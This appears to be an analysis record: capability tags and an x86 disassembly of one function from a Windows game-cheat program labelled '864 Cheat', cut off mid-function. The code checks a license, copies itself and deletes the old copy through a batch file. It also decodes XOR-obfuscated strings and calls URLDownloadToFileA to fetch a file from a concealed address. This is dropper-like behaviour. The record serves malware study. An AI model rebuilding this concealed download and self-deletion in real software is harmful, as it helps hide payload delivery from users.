Function at 0x43d240
Capabilities:
Contain obfuscated stackstrings
Copy file
Create process on windows
Delete file
Download url
Enumerate gui resources
Get disk information
Receive data
Self delete
Set console window title
Terminate process

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x47af47
mov eax, dword fs:[0]
push eax
push ecx
push ebx
sub esp, 0x460
mov eax, dword [0x49a080]
xor eax, ebp
mov dword [ebp - 0x24], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
push 0
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
add esp, 4
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
add esp, 4
lea eax, [ebp - 0x2d0]
push 0xb8
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push str.firstrun.txt
lea ecx, [ebp - 0x2d0]
call fcn.0043f230
mov eax, dword [ebp - 0x2d0]
lea ecx, [ebp - 0x2d0]
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::ios_base::good_void_const]
lea ecx, [ebp - 0x2d0]
mov byte [ebp - 0x2d1], al
call fcn.0043cd40
cmp byte [ebp - 0x2d1], 0
jne 0x43d3e9
lea ecx, [ebp - 0x1c0]
call fcn.0043ce00
push 0x104
lea eax, [ebp - 0x160]
mov dword [ebp - 4], 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
lea ecx, [ebp - 0x1c0]
call fcn.0043fae0
push eax
lea eax, [ebp - 0x160]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
call fcn.0043d090
push ecx
lea ecx, [ebp - 0x2c8]
call fcn.0043d220
sub esp, 0xc
lea ecx, [ebp - 0x2c8]
push str.delete_old.bat
call fcn.0043e640
lea eax, [ebp - 0x2c8]
mov byte [ebp - 4], 1
push str.timeout__t_5_n
push eax
call fcn.00440870
add esp, 8
lea eax, [ebp - 0x160]
push 0x48bfe4
push ecx
push eax
push ecx
lea eax, [ebp - 0x2c8]
push str.del__
push eax
call fcn.00440870
add esp, 0xc
push eax
call fcn.00440870
add esp, 0xc
push eax
call fcn.00440870
add esp, 8
lea ecx, [ebp - 0x2c8]
call fcn.0043e610
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
push 0
push 0
push str.delete_old.bat
push str.open
push 0
call esi
push 5
push 0
push 0
lea ecx, [ebp - 0x1c0]
call fcn.0043fae0
push eax
push str.open
push 0
call esi
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push 0x19
xorps xmm0, xmm0
mov dword [ebp - 0x198], 0
push str.clq3qyw03000cmx01zj4v56tc
lea ecx, [ebp - 0x1a8]
mov dword [ebp - 0x194], 0
movups xmmword [ebp - 0x1a8], xmm0
call fcn.00441600
lea eax, [ebp - 0x1a8]
mov dword [ebp - 4], 2
push eax
call fcn.0045b548
mov dword [ebp - 4], 0xffffffff
add esp, 4
mov ecx, dword [ebp - 0x194]
cmp ecx, 0xf
jbe 0x43d472
mov edx, dword [ebp - 0x1a8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43d468
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x43d468
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00478fcd
add esp, 8
push str.864_Cheat
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
xorps xmm0, xmm0
mov dword [ebp - 0x180], 0
movups xmmword [ebp - 0x190], xmm0
mov dword [ebp - 0x17c], 0xf
mov byte [ebp - 0x190], 0
push 0xfffffffffffffff5
mov dword [ebp - 4], 3
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov esi, dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov edi, eax
push 2
push edi
call esi
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [ebp - 0x1fc]
movzx eax, word [ebp - 0x1fe]
push ecx
push eax
movzx eax, word [ebp - 0x200]
push eax
movzx eax, word [ebp - 0x208]
push eax
movzx eax, word [ebp - 0x206]
push eax
movzx eax, word [ebp - 0x202]
push eax
push str._n_02d__02d__04d__02d:_02d:_02d_n_n
call fcn.0042e490
add esp, 0x1c
push 7
push edi
call esi
push 0xe
xorps xmm0, xmm0
mov dword [ebp - 0x168], 0
push str.C:license.txt
lea ecx, [ebp - 0x178]
mov dword [ebp - 0x164], 0
movups xmmword [ebp - 0x178], xmm0
call fcn.00441600
push 0xb8
lea eax, [ebp - 0x2d0]
mov byte [ebp - 4], 4
push 0
push eax
call sub.VCRUNTIME140.dll_memset
cmp dword [ebp - 0x164], 0xf
lea eax, [ebp - 0x178]
lea ecx, [ebp - 0x2d0]
cmova eax, dword [ebp - 0x178]
push eax
call fcn.0043f230
mov eax, dword [ebp - 0x2d0]
lea ecx, [ebp - 0x2d0]
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::ios_base::good_void_const]
lea ecx, [ebp - 0x2d0]
mov byte [ebp - 0x2d1], al
call fcn.0043cd40
cmp byte [ebp - 0x2d1], 0
je 0x43d6af
push 0xb8
lea eax, [ebp - 0x2d0]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
cmp dword [ebp - 0x164], 0xf
lea eax, [ebp - 0x178]
lea ecx, [ebp - 0x2d0]
cmova eax, dword [ebp - 0x178]
push eax
call fcn.0043f230
mov eax, dword [ebp - 0x2d0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x2d0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x2d4], eax
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x2d0]
mov eax, dword [ebp - 0x2d0]
push 0xa
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_char___thiscall_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const]
movzx eax, al
push eax
lea eax, [ebp - 0x190]
push eax
lea eax, [ebp - 0x2d0]
push eax
call fcn.00442190
add esp, 0xc
lea ecx, [ebp - 0x2c0]
call fcn.00440260
test eax, eax
jne 0x43d65e
mov eax, dword [ebp - 0x2d0]
lea ecx, [ebp - 0x2d0]
push 0
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
push str.License_loaded_from_file:
push dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00440870
cmp dword [ebp - 0x17c], 0xf
lea ecx, [ebp - 0x190]
push dword [ebp - 0x180]
cmova ecx, dword [ebp - 0x190]
push ecx
push eax
call fcn.00441ff0
add esp, 0x14
mov ecx, eax
push 0x440a50
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
lea ecx, [ebp - 0x2d0]
call fcn.0043cd40
jmp 0x43d78e
push str.Enter_your_license:
push dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00440870
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea edx, [ebp - 0x190]
call fcn.00440c90
push 0xb0
lea eax, [ebp - 0x2c8]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
cmp dword [ebp - 0x164], 0xf
lea eax, [ebp - 0x178]
lea ecx, [ebp - 0x2c8]
cmova eax, dword [ebp - 0x178]
add esp, 8
push eax
call fcn.0043e640
mov eax, dword [ebp - 0x2c8]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x2c8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x2cc], eax
mov byte [ebp - 4], 6
lea eax, [ebp - 0x190]
cmp dword [ebp - 0x17c], 0xf
push dword [ebp - 0x180]
cmova eax, dword [ebp - 0x190]
push eax
lea eax, [ebp - 0x2c8]
push eax
call fcn.00441ff0
add esp, 0xc
lea ecx, [ebp - 0x2c4]
call fcn.00440260
test eax, eax
jne 0x43d783
mov eax, dword [ebp - 0x2c8]
lea ecx, [ebp - 0x2c8]
push 0
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
lea ecx, [ebp - 0x2c8]
call fcn.0043d160
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x20c]
mov byte [ebp - 4], 7
push eax
push 0
push 0
push 0x48b9f4
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
je 0x43e5e4
mov ecx, dword [ebp - 0x20c]
lea esi, [ebp - 0x3f]
mov dword [ebp - 0x2d8], ecx
mov eax, 0xcccccccd
dec esi
mul ecx
shr edx, 3
mov al, dl
mov cl, dl
shl al, 2
add cl, al
mov eax, dword [ebp - 0x2d8]
add cl, cl
sub al, cl
mov ecx, edx
add al, 0x30
mov byte [esi], al
mov eax, edx
mov dword [ebp - 0x2d8], eax
test eax, eax
jne 0x43d7c7
lea eax, [ebp - 0x2d1]
push eax
lea eax, [ebp - 0x3f]
push eax
push esi
lea ecx, [ebp - 0x328]
call fcn.00441ed0
lea eax, [ebp - 0x328]
mov byte [ebp - 4], 8
push eax
lea eax, [ebp - 0x190]
push eax
call fcn.00454c66
mov byte [ebp - 4], 7
add esp, 8
mov ecx, dword [ebp - 0x314]
cmp ecx, 0xf
jbe 0x43d868
mov edx, dword [ebp - 0x328]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43d85e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x43d85e
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00478fcd
add esp, 8
push str.Authenticated_successfully
push dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00440870
add esp, 8
mov ecx, eax
push 0x440a50
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 9
xorps xmm0, xmm0
mov dword [ebp - 0x2e0], 0
push str.expiresAt
lea ecx, [ebp - 0x2f0]
mov dword [ebp - 0x2dc], 0
movups xmmword [ebp - 0x2f0], xmm0
call fcn.00441600
lea eax, [ebp - 0x2f0]
mov byte [ebp - 4], 9
push eax
call fcn.00447c7f
mov byte [ebp - 4], 7
add esp, 4
mov ecx, dword [ebp - 0x2dc]
mov edi, eax
cmp ecx, 0xf
jbe 0x43d913
mov edx, dword [ebp - 0x2f0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43d909
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x43d909
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00478fcd
add esp, 8
push 0
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
sub edi, eax
mov dword [ebp - 0x20c], edx
mov eax, 0xc22e4507
mov dword [ebp - 0x20c], edi
imul edi
mov ecx, edi
add esp, 4
add edx, edi
sar edx, 0x10
mov esi, edx
shr esi, 0x1f
add esi, edx
imul eax, esi, 0x15180
sub ecx, eax
mov eax, 0x91a2b3c5
imul ecx
mov eax, 0x91a2b3c5
add edx, ecx
mov ecx, dword [ebp - 0x20c]
sar edx, 0xb
mov edi, edx
shr edi, 0x1f
add edi, edx
imul ecx
add edx, ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
imul eax, eax, 0xe10
sub ecx, eax
mov eax, 0x88888889
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
jns 0x43d9a8
neg eax
push eax
lea eax, [ebp - 0x27]
push eax
call fcn.00441e90
add esp, 8
mov byte [eax - 1], 0x2d
dec eax
jmp 0x43d9b5
push eax
lea eax, [ebp - 0x27]
push eax
call fcn.00441e90
add esp, 8
lea ecx, [ebp - 0x2d1]
push ecx
lea ecx, [ebp - 0x27]
push ecx
push eax
lea ecx, [ebp - 0x1c0]
call fcn.00441ed0
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x3f]
test edi, edi
jns 0x43d9ea
neg edi
push edi
push eax
call fcn.00441e90
add esp, 8
mov byte [eax - 1], 0x2d
dec eax
jmp 0x43d9f4
push edi
push eax
call fcn.00441e90
add esp, 8
lea ecx, [ebp - 0x2d1]
push ecx
lea ecx, [ebp - 0x3f]
push ecx
push eax
lea ecx, [ebp - 0x348]
call fcn.00441ed0
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0x27]
test esi, esi
jns 0x43da29
neg esi
push esi
push eax
call fcn.00441e90
add esp, 8
mov byte [eax - 1], 0x2d
dec eax
jmp 0x43da33
push esi
push eax
call fcn.00441e90
add esp, 8
lea ecx, [ebp - 0x2d1]
push ecx
lea ecx, [ebp - 0x27]
push ecx
push eax
lea ecx, [ebp - 0x308]
call fcn.00441ed0
mov byte [ebp - 4], 0xc
mov ecx, dword [ebp - 0x2f4]
mov eax, ecx
mov edx, dword [ebp - 0x2f8]
sub eax, edx
cmp eax, 0xd
jb 0x43daf0
cmp ecx, 0xf
lea esi, [ebp - 0x308]
lea eax, [edx + 0xd]
cmova esi, dword [ebp - 0x308]
mov dword [ebp - 0x2f8], eax
cmp esi, 0x48c0d5
jae 0x43daa8
lea eax, [esi + edx]
cmp eax, str.Time_Remain:
jb 0x43daa8
cmp esi, str.Time_Remain:
ja 0x43da9e
xor edi, edi
jmp 0x43daad
mov edi, esi
sub edi, str.Time_Remain:
jmp 0x43daad
mov edi, 0xd
lea eax, [edx + 1]
push eax
lea ecx, [esi + 0xd]
push esi
push ecx
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
push edi
push str.Time_Remain:
push esi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
lea ecx, [esi + edi]
mov eax, 0xd
sub eax, edi
push eax
lea eax, [edi + 0x48c0d5]
push eax
push ecx
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x308]
jmp 0x43db13
push 0xd
push str.Time_Remain:
push 0
mov byte [ebp - 0x20c], 0
lea ecx, [ebp - 0x308]
push dword [ebp - 0x20c]
push 0xd
call fcn.00442540
mov dword [ebp - 0x2e0], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x2f0], xmm0
mov dword [ebp - 0x2dc], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x2f0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x2e0], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
push str._Day
lea eax, [ebp - 0x2f0]
mov byte [ebp - 4], 0xd
push eax
lea eax, [ebp - 0x328]
push eax
call fcn.00440ac0
add esp, 0xc
lea ecx, [ebp - 0x348]
mov byte [ebp - 4], 0xe
push ecx
push eax
push dword [ebp - 0x20c]
lea ecx, [ebp - 0x440]
call fcn.00441a70
push str._Hour
lea eax, [ebp - 0x440]
mov byte [ebp - 4], 0xf
push eax
lea eax, [ebp - 0x45c]
push eax
call fcn.00440ac0
add esp, 0xc
lea ecx, [ebp - 0x1c0]
mov byte [ebp - 4], 0x10
push ecx
push eax
push dword [ebp - 0x20c]
lea ecx, [ebp - 0x428]
call fcn.00441a70
push str._Minute
lea eax, [ebp - 0x428]
mov byte [ebp - 4], 0x11
push eax
lea eax, [ebp - 0x1a8]
push eax
call fcn.00440ac0
add esp, 0xc
mov byte [ebp - 4], 0x13
mov ecx, dword [ebp - 0x414]
cmp ecx, 0xf
jbe 0x43dc2e
mov edx, dword [ebp - 0x428]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43dc24
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43de70
push ecx
push edx
call fcn.00478fcd
add esp, 8
mov dword [ebp - 0x418], 0
mov dword [ebp - 0x414], 0xf
mov byte [ebp - 0x428], 0
mov byte [ebp - 4], 0x14
mov ecx, dword [ebp - 0x448]
cmp ecx, 0xf
jbe 0x43dc87
mov edx, dword [ebp - 0x45c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43dc7d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43de70
push ecx
push edx
call fcn.00478fcd
add esp, 8
mov dword [ebp - 0x44c], 0
mov dword [ebp - 0x448], 0xf
mov byte [ebp - 0x45c], 0
mov byte [ebp - 4], 0x15
mov ecx, dword [ebp - 0x42c]
cmp ecx, 0xf
jbe 0x43dce0
mov edx, dword [ebp - 0x440]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43dcd6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43de70
push ecx
push edx
call fcn.00478fcd
add esp, 8
mov dword [ebp - 0x430], 0
mov dword [ebp - 0x42c], 0xf
mov byte [ebp - 0x440], 0
mov byte [ebp - 4], 0x16
mov ecx, dword [ebp - 0x314]
cmp ecx, 0xf
jbe 0x43dd39
mov edx, dword [ebp - 0x328]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43dd2f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43de70
push ecx
push edx
call fcn.00478fcd
add esp, 8
mov dword [ebp - 0x318], 0
mov dword [ebp - 0x314], 0xf
mov byte [ebp - 0x328], 0
mov byte [ebp - 4], 0x17
mov ecx, dword [ebp - 0x2dc]
cmp ecx, 0xf
jbe 0x43dd92
mov edx, dword [ebp - 0x2f0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43dd88
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43de70
push ecx
push edx
call fcn.00478fcd
add esp, 8
mov dword [ebp - 0x2e0], 0
mov dword [ebp - 0x2dc], 0xf
mov byte [ebp - 0x2f0], 0
mov byte [ebp - 4], 0x18
mov ecx, dword [ebp - 0x2f4]
cmp ecx, 0xf
jbe 0x43ddeb
mov edx, dword [ebp - 0x308]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43dde1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43de70
push ecx
push edx
call fcn.00478fcd
add esp, 8
mov dword [ebp - 0x2f8], 0
mov dword [ebp - 0x2f4], 0xf
mov byte [ebp - 0x308], 0
mov byte [ebp - 4], 0x19
mov ecx, dword [ebp - 0x334]
cmp ecx, 0xf
jbe 0x43de40
mov edx, dword [ebp - 0x348]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43de36
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43de70
push ecx
push edx
call fcn.00478fcd
add esp, 8
mov byte [ebp - 4], 0x1a
mov ecx, dword [ebp - 0x1ac]
cmp ecx, 0xf
jbe 0x43de80
mov edx, dword [ebp - 0x1c0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43de76
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x43de76
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00478fcd
add esp, 8
cmp dword [ebp - 0x194], 0xf
lea eax, [ebp - 0x1a8]
push 0x40
cmova eax, dword [ebp - 0x1a8]
push str.864_Cheat
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
call fcn.0043ca50
push dword [0x4b6134]
push 0x4329e0
call dword [sym.imp.USER32.dll_EnumWindows]
mov dword [ebp - 0x3b0], 0xbdd47b87
xorps xmm0, xmm0
mov dword [ebp - 0x3ac], 0x6940d1f3
mov dword [ebp - 0x3a8], 0x2fb05267
mov dword [ebp - 0x3a4], 0xa062a27d
movups xmm1, xmmword [ebp - 0x3b0]
mov dword [ebp - 0x3a0], 0xdd1cef8e
mov dword [ebp - 0x39c], 0x36e211e
mov dword [ebp - 0x398], 0x94c63db1
mov dword [ebp - 0x394], 0x156660e3
movups xmm2, xmmword [ebp - 0x3a0]
mov dword [ebp - 0x390], 0xfb4f4e1b
mov dword [ebp - 0x38c], 0xeec21660
mov dword [ebp - 0x388], 0x58874fac
mov dword [ebp - 0x384], 0x29bbd449
movups xmm3, xmmword [ebp - 0x390]
mov dword [ebp - 0x380], 0x73e08fec
mov dword [ebp - 0x37c], 0xdc43f936
mov dword [ebp - 0x378], 0x8882bcd5
mov dword [ebp - 0x374], 0x7a63bfd3
movups xmm4, xmmword [ebp - 0x380]
mov dword [ebp - 0x370], 0xf00acc66
mov dword [ebp - 0x36c], 0xdc07363f
mov dword [ebp - 0x368], 0xc50da9bb
mov dword [ebp - 0x364], 0xa33a452e
movups xmm5, xmmword [ebp - 0x370]
mov dword [ebp - 0x360], 0x9acfa1e6
mov dword [ebp - 0x35c], 0x6a549b25
mov dword [ebp - 0x358], 0x6fc0962a
mov dword [ebp - 0x354], 0xb4f355f
movups xmm6, xmmword [ebp - 0x360]
mov dword [ebp - 0x410], 0xcda00fef
mov dword [ebp - 0x40c], 0x466feb80
mov dword [ebp - 0x408], 0x1de3604
mov dword [ebp - 0x404], 0xc311cb19
mov dword [ebp - 0x400], 0xbc789de1
mov dword [ebp - 0x3fc], 0x6040516e
mov dword [ebp - 0x3f8], 0xf5e950de
mov dword [ebp - 0x3f4], 0x76071497
xorps xmm2, xmmword [ebp - 0x400]
mov dword [ebp - 0x3f0], 0x952a2373
mov dword [ebp - 0x3ec], 0xd7ed6514
mov dword [ebp - 0x3e8], 0x6fb67a98
mov dword [ebp - 0x3e4], 0x1b8ee17d
xorps xmm3, xmmword [ebp - 0x3f0]
mov dword [ebp - 0x3e0], 0x45d6b7d5
mov dword [ebp - 0x3dc], 0xec75c102
mov dword [ebp - 0x3d8], 0xbdbb93e2
mov dword [ebp - 0x3d4], 0x495a87eb
xorps xmm4, xmmword [ebp - 0x3e0]
mov dword [ebp - 0x3d0], 0xc53cfc57
mov dword [ebp - 0x3cc], 0xec330708
mov dword [ebp - 0x3c8], 0xf5349a8c
mov dword [ebp - 0x3c4], 0xd35f3701
xorps xmm5, xmmword [ebp - 0x3d0]
mov dword [ebp - 0x3c0], 0xc2bbd389
mov dword [ebp - 0x3bc], 0xe7aa916
mov dword [ebp - 0x3b8], 0x6fc0fa46
mov dword [ebp - 0x3b4], 0xb4f355f
xorps xmm6, xmmword [ebp - 0x3c0]
movups xmmword [ebp - 0x280], xmm1
xorps xmm1, xmmword [ebp - 0x410]
movaps xmmword [ebp - 0x280], xmm1
movaps xmmword [ebp - 0x270], xmm2
movaps xmmword [ebp - 0x260], xmm3
movaps xmmword [ebp - 0x250], xmm4
movaps xmmword [ebp - 0x240], xmm5
movaps xmmword [ebp - 0x230], xmm6
movups xmmword [ebp - 0x1f8], xmm0
lea ecx, [ebp - 0x280]
mov dword [ebp - 0x1e8], 0
mov dword [ebp - 0x1e4], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43e146
sub ecx, edx
lea eax, [ebp - 0x280]
push ecx
push eax
lea ecx, [ebp - 0x1f8]
call fcn.00441600
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x330]
mov dword [ebp - 0x1c8], 0x9afc35ac
lea edx, [ecx + 1]
mov dword [ebp - 0x1c4], 0x290b85e9
xorps xmm0, xmm0
mov dword [ebp - 0x1c0], 0x52824573
mov dword [ebp - 0x1bc], 0xa665b860
movups xmm1, xmmword [ebp - 0x1c8]
mov dword [ebp - 0x1b8], 0xe04aae8c
mov dword [ebp - 0x1b4], 0x4e33281d
mov dword [ebp - 0x1b0], 0xf5803eb7
mov dword [ebp - 0x1ac], 0x76071497
movups xmm2, xmmword [ebp - 0x1b8]
mov dword [ebp - 0x350], 0xcda00fef
movups xmmword [ebp - 0x330], xmm1
mov dword [ebp - 0x34c], 0x466feb80
mov dword [ebp - 0x348], 0x1de3604
mov dword [ebp - 0x344], 0xc311cb19
xorps xmm1, xmmword [ebp - 0x350]
mov dword [ebp - 0x340], 0xbc789de1
mov dword [ebp - 0x33c], 0x6040516e
mov dword [ebp - 0x338], 0xf5e950de
mov dword [ebp - 0x334], 0x76071497
xorps xmm2, xmmword [ebp - 0x340]
movaps xmmword [ebp - 0x330], xmm1
movaps xmmword [ebp - 0x320], xmm2
movups xmmword [ebp - 0x1e0], xmm0
mov dword [ebp - 0x1d0], 0
mov dword [ebp - 0x1cc], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43e260
sub ecx, edx
lea eax, [ebp - 0x330]
push ecx
push eax
lea ecx, [ebp - 0x1e0]
call fcn.00441600
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x1e0]
cmp dword [ebp - 0x1cc], 0xf
lea eax, [ebp - 0x1f8]
push 0
cmova ecx, dword [ebp - 0x1e0]
cmp dword [ebp - 0x1e4], 0xf
push 0
cmova eax, dword [ebp - 0x1f8]
push ecx
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
call fcn.0043c440
call fcn.0043c070
push 0x432a40
lea ecx, [ebp - 0x210]
call fcn.00440fa0
mov esi, eax
mov byte [ebp - 4], 0x1d
cmp dword [esi + 4], 0
jne 0x43e2e4
push 1
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
push dword [esi + 4]
mov edi, dword [sym.imp.MSVCP140.dll__Thrd_detach]
push dword [esi]
call edi
add esp, 8
test eax, eax
je 0x43e300
push 1
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
mov dword [esi], 0
mov dword [esi + 4], 0
mov byte [ebp - 4], 0x1c
cmp dword [ebp - 0x20c], 0
je 0x43e320
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
push 0x432850
lea ecx, [ebp - 0x210]
call fcn.00440fa0
mov esi, eax
mov byte [ebp - 4], 0x1e
cmp dword [esi + 4], 0
jne 0x43e344
push 1
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
push dword [esi + 4]
push dword [esi]
call edi
add esp, 8
test eax, eax
je 0x43e35a
push 1
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
mov dword [esi], 0
mov dword [esi + 4], 0
mov byte [ebp - 4], 0x1c
cmp dword [ebp - 0x20c], 0
je 0x43e37a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
call fcn.0043c7b0
push 0x3e8
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Beep]
mov esi, dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
push str.delete_old.bat
call esi
add esp, 4
push str.firstrun.txt
call esi
add esp, 4
push str.prev_version.txt
call esi
mov ecx, dword [ebp - 0x1cc]
add esp, 4
cmp ecx, 0xf
jbe 0x43e3ed
mov edx, dword [ebp - 0x1e0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43e3e3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43e52f
push ecx
push edx
call fcn.00478fcd
add esp, 8
mov ecx, dword [ebp - 0x1e4]
mov dword [ebp - 0x1d0], 0
mov dword [ebp - 0x1cc], 0xf
mov byte [ebp - 0x1e0], 0
cmp ecx, 0xf
jbe 0x43e442
mov edx, dword [ebp - 0x1f8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43e438
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43e52f
push ecx
push edx
call fcn.00478fcd
add esp, 8
mov ecx, dword [ebp - 0x194]
mov dword [ebp - 0x1e8], 0
mov dword [ebp - 0x1e4], 0xf
mov byte [ebp - 0x1f8], 0
cmp ecx, 0xf
jbe 0x43e497
mov edx, dword [ebp - 0x1a8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43e48d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
